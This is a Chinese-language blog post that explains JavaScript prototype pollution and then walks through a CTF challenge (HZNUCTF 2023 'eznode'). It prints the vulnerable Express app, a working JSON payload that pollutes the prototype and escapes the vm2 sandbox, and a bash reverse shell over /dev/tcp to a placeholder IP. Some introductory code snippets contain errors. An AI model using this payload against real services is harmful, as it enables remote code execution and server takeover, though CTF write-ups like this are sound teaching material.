有关JS原型链污染的题目以及实战演练

本文最后更新于 2026年4月11日 下午

开篇

原理(来源于js原型链污染(原理+分析+例题) - 知乎)

首先要知道JS的几种创建的方法和格式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//普通方式
var a = {name:'name',age:19};

//构造函数方式
function a(){
this.name = 'name';
this.age = 19;
}
a.prototype.name = 'fame'; //赋值
b = new a();
console.log(web.name);//调用

//object方式
var a = new Object();
a.name = 'name';
a.age = 19;

万物皆对象

在js中所有的东西都可看为对象。

而在js中每一个对象都会有一个**proto**的属性。

proto
对象可以通过__proto__来找到其自己的父类。

而对于构造函数也有一个prototype与之相对应。

prototype
构造函数.prototype也是一个对象,为构造函数的原型对象。

就像这样:

1
2
3
4
5
6
7
8
9
10
11
function a(){
this.name= "zhangsan";
this.age = 20;
}

b=new a();
if(b.proto=a.prototype){
console.log("true");
}else{
console.log("false");
}

原型链的原理

1
2
3
4
var a=1;
console.log=(a.__proto__);
console.log=(a.__proto__.__proto__);
console.log=(a.__proto__.__proto__.__proto__);

上面的var上层为{},再上为Object,再上就是NULL。NULL为链的的末端。

继承机制

对于js中类的继承机制为

1
2
3
4
5
6
7
8
9
10
11
12
function a(){
this.name= "zhangsan";
this.age = 20;
}

function b(){
this.name = "zhangsan";
}
b.prototype=new a();

c=new b();
console.log(`name:${c.name},age:${c.age}`);

最后回显“name:zhangsan,age:20”

漏洞思路

先看一个经典的递归漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//漏洞
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
//漏洞
let o1 = {}
let o2 = JSON.parse('输入的内容')
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)

如果首先模仿正常的服务器输入{“a”:”1”,”b”:”2”}

那就会正常回显a和b的内容,但是此时o3并没有被赋值,所以就会出现undefine的情况

此时构造原型链污染语句就会得到

1
2
3
4
5
6
{
"a":1,
"__proto__"{
"b":2,
}
}

就会污染o3的参数,并回显

就会发现被污染了

那么原型污染漏洞是如何产生的?

​ 当JavaScript函数递归地将包含用户可控属性的对象合并到现有对象时,通常会出现原型污染漏洞。这可以允许攻击者注入带有类似__proto__的键的属性,以及任意嵌套的属性。

​ 由于__proto__在JavaScript上下文中的特殊含义,合并操作可能会将嵌套属性分配给对象的原型,而不是目标对象本身。因此,攻击者可以用包含恶意值的属性污染原型,这些属性随后可能被应用程序以危险的方式使用。

知道原理后就可以开始实战了

HZNUCTF 2023 final]eznode

首先扫目录搜出app.js

然后查看代码关键漏洞点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53

const express = require('express');
const app = express();
const { VM } = require('vm2');

app.use(express.json());

const backdoor = function () {
try {
new VM().run({}.shellcode);
} catch (e) {
console.log(e);
}
}

const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);
}


app.get('/', function (req, res) {
res.send("POST some json shit to /. no source code and try to find source code");
});

app.post('/', function (req, res) {
try {
console.log(req.body)
var body = JSON.parse(JSON.stringify(req.body));
var copybody = clone(body)
if (copybody.shit) {
backdoor()
}
res.send("post shit ok")
}catch(e){
res.send("is it shit ?")
console.log(e)
}
})

app.listen(3000, function () {
console.log('start listening on port 3000');
});

得知可以污染参数shit

重点关注后门参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
const backdoor = function () {
try {
new VM().run({}.shellcode);
} catch (e) {
console.log(e);
}
}

const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);
}

然后可以发现是一个vm2沙箱逃逸的CVE-2026-22709:https://xz.aliyun.com/news/91455

发现有问题代码 1:globalPromise.prototype.then 未清理回调

所以构造payload

1
2
3
4
5
6
{
"shit": 1,
"__proto__": {
"shellcode": "const error = new Error();error.name = Symbol();const f = async () => error.stack;const promise = f();promise.catch(e => {const Error = e.constructor;const Function = Error.constructor;const f = new Function(\"process.mainModule.require('child_process').execSync('bash -c \\\"bash -i >& /dev/tcp/你的IP/端口 0>&1\\\"')\");f();});"
}
}

拿到shell后就可以cat flag了

后记

一般现代的proto参数都被禁了,所以一般可用的最简单的poc就是

1
{"constructor": {"prototype": {你的payload}}}

有关JS原型链污染的题目以及实战演练
https://azumisaki.github.io/2026/04/10/JS/
作者
AzumiSaki
发布于
2026年4月10日
许可协议